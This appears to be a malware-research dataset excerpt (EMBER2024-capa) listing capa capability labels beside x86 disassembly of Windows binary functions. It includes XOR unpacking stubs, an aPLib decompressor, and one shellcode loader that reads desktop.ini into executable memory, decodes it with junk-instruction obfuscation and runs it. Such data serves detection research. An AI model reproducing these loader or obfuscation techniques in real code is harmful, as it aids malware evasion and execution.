joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4083ed
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push str.f:_sourcelcc_startepa_seriowin.c
push 0x1130000
push str.COMwrite
mov dword [0x44100c], ebp
sub esp, 0x10
mov ecx, 4
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x40840d
push edi
mov byte [ebp - 8], 1
inc dword [ebp - 8]
mov dword [ebp - 0x1c], 0
mov byte [ebp - 8], 6
mov dword [ebp - 0x14], 0
inc dword [ebp - 8]
call fcn.00407906
mov dword [0x44100c], ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
jmp 0x408487
mov byte [ebp - 8], 9
call fcn.00407906
mov dword [0x44100c], ebp
mov dword [ebp - 0x10], eax
inc dword [ebp - 8]
mov edi, dword [ebp - 0x18]
cmp dword [ebp - 0x10], edi
je 0x408483
inc dword [ebp - 8]
inc dword [ebp - 0x14]
inc dword [ebp - 8]
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x18], edi
inc dword [ebp - 8]
push 0
call sub.KERNEL32.dll_Sleep
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0xf
mov byte [ebp - 8], 8
call fcn.0040833d
mov dword [0x44100c], ebp
cmp eax, 0
je 0x4084a6
mov edi, dword [0x454dc0]
cmp dword [ebp - 0x14], edi
jle 0x408447
mov byte [ebp - 8], 0x11
mov edi, dword [0x454dc0]
cmp dword [ebp - 0x14], edi
jle 0x4084bf
inc dword [ebp - 8]
mov eax, 0
jmp 0x408509
mov byte [ebp - 8], 0x14
cmp dword [0x454dc8], 0
je 0x4084ec
inc dword [ebp - 8]
push 0
lea edi, [ebp - 0x1c]
push edi
push 1
lea edi, [ebp + 8]
push edi
push dword [0x454dc8]
call sub.KERNEL32.dll_WriteFile
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0x17
cmp dword [ebp - 0x1c], 1
je 0x408500
inc dword [ebp - 8]
mov eax, 0
jmp 0x408509
mov byte [ebp - 8], 0x1a
mov eax, 1
mov byte [ebp - 8], 0x1b
cmp dword [ebp - 0xc], 0x454e74
je 0x408520
push 0
call fcn.0042b684
add esp, 4
pop edi
leave
ret
Function at 0x408523
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push str.f:_sourcelcc_startepa_seriowin.c
push 0x1300000
push str.COMsendblk
mov dword [0x44100c], ebp
sub esp, 0x10
mov ecx, 4
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x408543
push edi
mov byte [ebp - 8], 1
inc dword [ebp - 8]
mov dword [ebp - 0x1c], 0
mov byte [ebp - 8], 6
mov dword [ebp - 0x14], 0
inc dword [ebp - 8]
call fcn.00407906
mov dword [0x44100c], ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
jmp 0x4085bd
mov byte [ebp - 8], 9
call fcn.00407906
mov dword [0x44100c], ebp
mov dword [ebp - 0x10], eax
inc dword [ebp - 8]
mov edi, dword [ebp - 0x18]
cmp dword [ebp - 0x10], edi
je 0x4085b9
inc dword [ebp - 8]
inc dword [ebp - 0x14]
inc dword [ebp - 8]
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x18], edi
inc dword [ebp - 8]
push 0
call sub.KERNEL32.dll_Sleep
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0xf
mov byte [ebp - 8], 8
call fcn.0040833d
mov dword [0x44100c], ebp
cmp eax, 0
je 0x4085dc
mov edi, dword [0x454dc0]
cmp dword [ebp - 0x14], edi
jle 0x40857d
mov byte [ebp - 8], 0x11
mov edi, dword [0x454dc0]
cmp dword [ebp - 0x14], edi
jle 0x4085f5
inc dword [ebp - 8]
mov eax, 0
jmp 0x408641
mov byte [ebp - 8], 0x14
cmp dword [0x454dc8], 0
je 0x408622
inc dword [ebp - 8]
push 0
lea edi, [ebp - 0x1c]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x454dc8]
call sub.KERNEL32.dll_WriteFile
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0x17
mov edi, dword [ebp + 0xc]
cmp dword [ebp - 0x1c], edi
je 0x408638
inc dword [ebp - 8]
mov eax, 0
jmp 0x408641
mov byte [ebp - 8], 0x1a
mov eax, 1
mov byte [ebp - 8], 0x1b
cmp dword [ebp - 0xc], 0x454e80
je 0x408658
push 0
call fcn.0042b684
add esp, 4
pop edi
leave
ret
Function at 0x408eeb
Capabilities:
Check if file exists
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push str.f:_sourcelcc_startepa_sendfile.c
push 0x8f0000
push str.getPicoDrive
mov dword [0x44100c], ebp
sub esp, 0x18c
mov ecx, 0x63
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x408f0e
push ebx
push esi
push edi
mov byte [ebp - 8], 1
mov byte [ebp - 8], 5
lea edi, [ebp - 0x198]
push edi
push pe_nt_image_headers32
call sub.KERNEL32.dll_GetLogicalDriveStringsA
mov dword [0x44100c], ebp
cmp eax, 0
je 0x409087
inc dword [ebp - 8]
lea edi, [ebp - 0x198]
mov dword [ebp - 0x10], edi
jmp 0x409073
mov byte [ebp - 8], 8
push pe_nt_image_headers32
lea edi, [ebp - 0x110]
push edi
lea edi, [ebp - 0x114]
push edi
push 0
lea edi, [ebp - 0x118]
push edi
push pe_nt_image_headers32
lea edi, [ebp - 0x90]
push edi
push dword [ebp - 0x10]
call sub.KERNEL32.dll_GetVolumeInformationA
mov dword [0x44100c], ebp
cmp eax, 0
je 0x409054
inc dword [ebp - 8]
push 0x455185
lea edi, [ebp - 0x110]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
mov dword [0x44100c], ebp
cmp eax, 0
jne 0x409050
push str.RPI_RP2
lea edi, [ebp - 0x90]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
mov dword [0x44100c], ebp
cmp eax, 0
jne 0x409050
inc dword [ebp - 8]
push dword [ebp - 0x10]
call sub.KERNEL32.dll_GetDriveTypeA
mov dword [0x44100c], ebp
mov dword [ebp - 0x114], eax
inc dword [ebp - 8]
cmp dword [ebp - 0x114], 2
jne 0x40904c
inc dword [ebp - 8]
mov edi, dword [ebp - 0x10]
movsx ebx, byte [edi]
push ebx
push 0x45516c
lea edi, [ebp - 0x90]
push edi
call fcn.0042ba29
add esp, 0xc
mov dword [0x44100c], ebp
inc dword [ebp - 8]
lea edi, [ebp - 0x90]
push edi
call sub.KERNEL32.dll_GetFileAttributesA
mov dword [0x44100c], ebp
cmp eax, 0xffffffff
je 0x409048
inc dword [ebp - 8]
mov edi, dword [ebp - 0x10]
movsx eax, byte [edi]
jmp 0x409090
mov byte [ebp - 8], 0xf
mov byte [ebp - 8], 0x10
mov byte [ebp - 8], 0x11
mov byte [ebp - 8], 0x12
push dword [ebp - 0x10]
call fcn.0042bb1c
add esp, 4
mov dword [0x44100c], ebp
mov esi, dword [ebp - 0x10]
lea edi, [eax + esi + 1]
mov dword [ebp - 0x10], edi
mov byte [ebp - 8], 7
mov edi, dword [ebp - 0x10]
cmp byte [edi], 0
jne 0x408f54
mov byte [ebp - 8], 0x14
mov byte [ebp - 8], 0x16
mov eax, 0
mov byte [ebp - 8], 0x17
cmp dword [ebp - 0xc], 0x454f10
je 0x4090a7
push 0
call fcn.0042b684
add esp, 4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f0c7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push str.f:_sourcelcc_startepaloadpng.c
push 0x2bc0000
push str.WriteChunk
mov dword [0x44100c], ebp
push ecx
push eax
mov ecx, 2
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x40f0e6
push esi
push edi
mov byte [ebp - 8], 1
mov byte [ebp - 8], 5
mov edi, dword [0x434448]
mov dword [ebp - 0x10], edi
mov byte [ebp - 8], 7
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.0040f034
add esp, 8
mov dword [0x44100c], ebp
mov byte [ebp - 8], 9
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp + 0xc]
mov dword [edi + 4], esi
mov byte [ebp - 8], 0xb
mov dword [ebp - 0x14], 0
inc dword [ebp - 8]
mov edi, dword [ebp + 8]
add edi, 4
push edi
mov edi, dword [ebp - 0x10]
add edi, 4
push edi
push dword [ebp - 0x14]
call fcn.0041dd53
add esp, 0xc
mov dword [0x44100c], ebp
mov dword [ebp - 0x14], eax
inc dword [ebp - 8]
push dword [ebp - 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 0x10]
lea edi, [edi + esi + 8]
push edi
call fcn.0040f034
add esp, 8
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0xf
push dword [ebp + 0x10]
mov edi, dword [ebp + 8]
add edi, 0xc
push edi
push 1
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
mov dword [0x44100c], ebp
mov byte [ebp - 8], 0x11
mov eax, 1
mov byte [ebp - 8], 0x12
cmp dword [ebp - 0xc], 0x4f26a8
je 0x40f1b8
push 0
call fcn.0042b684
add esp, 4
pop edi
pop esi
leave
ret

Function at 0x4100b4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push str.f:_sourcelcc_startepaloadgif.c
push 0x590000
push str.ReadSubBlock
mov dword [0x44100c], ebp
push ecx
mov ecx, 1
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x4100d2
push edi
mov byte [ebp - 8], 1
mov byte [ebp - 8], 4
push dword [0x434984]
call sub.CRTDLL.DLL_fgetc
add esp, 4
mov dword [0x44100c], ebp
mov dword [ebp - 0x10], eax
mov byte [ebp - 8], 6
cmp dword [ebp - 0x10], 0
jge 0x410110
inc dword [ebp - 8]
mov eax, 0xffffffff
jmp 0x410155
mov byte [ebp - 8], 8
cmp dword [ebp - 0x10], 0
jle 0x41014e
inc dword [ebp - 8]
push dword [0x434984]
push dword [ebp - 0x10]
push 1
push 0x435d94
call sub.CRTDLL.DLL_fread
add esp, 0x10
mov dword [0x44100c], ebp
cmp eax, dword [ebp - 0x10]
je 0x41014a
inc dword [ebp - 8]
mov eax, 0xffffffff
jmp 0x410155
mov byte [ebp - 8], 0xb
mov byte [ebp - 8], 0xd
mov eax, dword [ebp - 0x10]
mov byte [ebp - 8], 0xe
cmp dword [ebp - 0xc], 0x4f7684
je 0x41016c
push 0
call fcn.0042b684
add esp, 4
pop edi
leave
ret
Function at 0x41d88c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push 0x80000000
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
test eax, eax
jne 0x41d8e4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push section..rdata
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.DLL_RegQueryValueExA]
test eax, eax
jne 0x41d8d7
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
mov eax, esi
jmp 0x41d8e6
xor eax, eax
pop esi
leave
ret 4
Function at 0x41dd53
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword [ebp + 0xc], 0
jne 0x41dd69
mov eax, 0
jmp 0x41df55
xor dword [ebp + 8], 0xffffffff
jmp 0x41defe
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
sub dword [ebp + 0x10], 8
cmp dword [ebp + 0x10], 8
jae 0x41dd72
cmp dword [ebp + 0x10], 0
je 0x41df4d
mov edi, dword [ebp + 0xc]
mov esi, edi
add esi, 1
mov dword [ebp + 0xc], esi
mov esi, dword [ebp + 8]
movzx edi, byte [edi]
mov ebx, esi
xor ebx, edi
mov edi, ebx
and edi, 0xff
mov edi, dword [edi*4 + 0x4fa4f8]
shr esi, 8
xor edi, esi
mov dword [ebp + 8], edi
mov edi, dword [ebp + 0x10]
sub edi, 1
mov dword [ebp + 0x10], edi
cmp edi, 0
jne 0x41df0e
mov edi, dword [ebp + 8]
mov eax, edi
xor eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x427e18
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.dll_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x427e4c
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x427e67
mov edi, eax
inc edi
jmp 0x427e44
inc edi
cmp byte [edi], 0x20
je 0x427e43
jmp 0x427e67
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x427e58
cmp eax, 0x20
jne 0x427e4b
jmp 0x427e5b
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x427e67
cmp eax, 0x20
je 0x427e5a
push 0
call sub.KERNEL32.dll_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00405c38
pop edi
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x99768c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9976b3
call fcn.00939c18
mov dword [eax], esi
call fcn.00939c05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093a85a
mov eax, esi
jmp 0x997708
test dword [ebp + 0xc], 0xfffffff9
jne 0x997699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9976e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00939c2b
pop ecx
call fcn.00939c05
mov eax, dword [eax]
jmp 0x997708
test al, 0x10
jne 0x997706
test al, 1
je 0x997706
test byte [ebp + 0xc], 2
je 0x997706
call fcn.00939c18
mov dword [eax], 5
call fcn.00939c05
mov dword [eax], 0xd
jmp 0x9976d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x10795058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.107951a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1079507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1079506a
add dl, dl
jne 0x10795089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x107950dc
xor eax, eax
add dl, dl
jne 0x10795096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1079517d
add dl, dl
jne 0x107950a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x107950b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x107950bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x107950c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x107950d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10795075
mov eax, 1
add dl, dl
jne 0x107950ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x107950f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x107950e1
sub eax, ebx
mov ebx, 1
jne 0x10795128
mov ecx, 1
add dl, dl
jne 0x1079510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10795119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10795105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10795075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1079513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1079514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10795136
cmp eax, 0x7d00
jae 0x1079516d
cmp eax, 0x500
jb 0x10795168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10795075
cmp eax, 0x7f
ja 0x10795170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10795075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1079519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10795075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x3e90787c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x1f9b5b9a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x8ccbb2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x8cc92e
mov edx, edx
sub edx, edx
call fcn.008ccbe2
and edi, edx
xor dword [ebx], ecx
add edx, edi
sub edx, edx
inc ebx
or edi, edi
mov edx, edi
cmp ebx, esi
jne fcn.008ccbb2
add edx, 0x86ee9ed9
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x41a5c0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x48
push ebx
mov ebx, dword [esp + 0x54]
add esp, 0xfffffff4
lea eax, [esp + 0x1c]
push eax
call sub.KERNEL32.dll_GetSystemInfo
mov edx, dword [esp + 0x20]
mov dword [0x505020], edx
mov eax, edx
neg eax
mov dword [0x505010], eax
add ebx, edx
and ebx, eax
mov dword [0x505030], ebx
mov dword [0x505050], 0x20000000
add esp, 0xc
nop
push 1
push 0x2000
push dword [0x505050]
push 0
call sub.KERNEL32.dll_VirtualAlloc
mov dword [section..bss], eax
test eax, eax
jne 0x41a661
mov ecx, dword [0x505050]
mov edx, dword [0x505030]
mov eax, ecx
cmp eax, edx
je 0x41a645
add eax, 0xf8000000
mov dword [0x505050], eax
cmp eax, edx
jae 0x41a600
mov dword [0x505050], edx
jmp 0x41a600
push ecx
push 0x41a550
push 0x41a57f
push 0x10
call fcn.004211b0
mov eax, dword [section..bss]
add esp, 0x10
jmp 0x41a6a6
mov ebx, dword [0x505030]
push 4
push 0x1000
push ebx
push eax
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
jne 0x41a692
push ebx
push 0x41a590
push 0x41a57f
push 0x10
call fcn.004211b0
xor eax, eax
add esp, 0x10
jmp 0x41a6a6
mov eax, dword [section..bss]
lea edx, [ebx + eax]
mov dword [0x505040], edx
add dword [0x505060], ebx
pop ebx
add esp, 0x48
ret

Function at 0x41b869
Capabilities:
Create directory

Disassembly:
sub esp, 0x21c
push ebp
push edi
push esi
push ebx
mov ebp, dword [esp + 0x230]
mov edi, dword [esp + 0x234]
add esp, 0xfffffff8
push 0
push 0
push edi
push ebp
push 0
push 0xfde9
call sub.KERNEL32.dll_MultiByteToWideChar
mov esi, eax
add esp, 8
cmp esi, 0x104
jg 0x41b8b0
add esp, 0xfffffff8
push esi
lea ebx, [esp + 0x1c]
push ebx
push edi
push ebp
push 0
push 0xfde9
call sub.KERNEL32.dll_MultiByteToWideChar
mov word [ebx + esi*2], 0
push 0
push ebx
call sub.KERNEL32.dll_CreateDirectoryW
add esp, 8
jmp 0x41b8b2
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
add esp, 0x21c
ret
Function at 0x41bd89
Capabilities:
Delete directory

Disassembly:
sub esp, 0x21c
push ebp
push edi
push esi
push ebx
mov ebp, dword [esp + 0x230]
mov edi, dword [esp + 0x234]
add esp, 0xfffffff8
push 0
push 0
push edi
push ebp
push 0
push 0xfde9
call sub.KERNEL32.dll_MultiByteToWideChar
mov ebx, eax
add esp, 8
cmp ebx, 0x104
jg 0x41bde7
add esp, 0xfffffff8
push ebx
lea esi, [esp + 0x1c]
push esi
push edi
push ebp
push 0
push 0xfde9
call sub.KERNEL32.dll_MultiByteToWideChar
mov word [esi + ebx*2], 0
add esp, 0xfffffffc
push esi
call fcn.0041b644
add esp, 0x10
test eax, eax
jne 0x41bde7
add esp, 0xfffffff4
push esi
call sub.KERNEL32.dll_RemoveDirectoryW
add esp, 0xc
test eax, eax
setne al
and eax, 0xff
jmp 0x41bde9
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
add esp, 0x21c
ret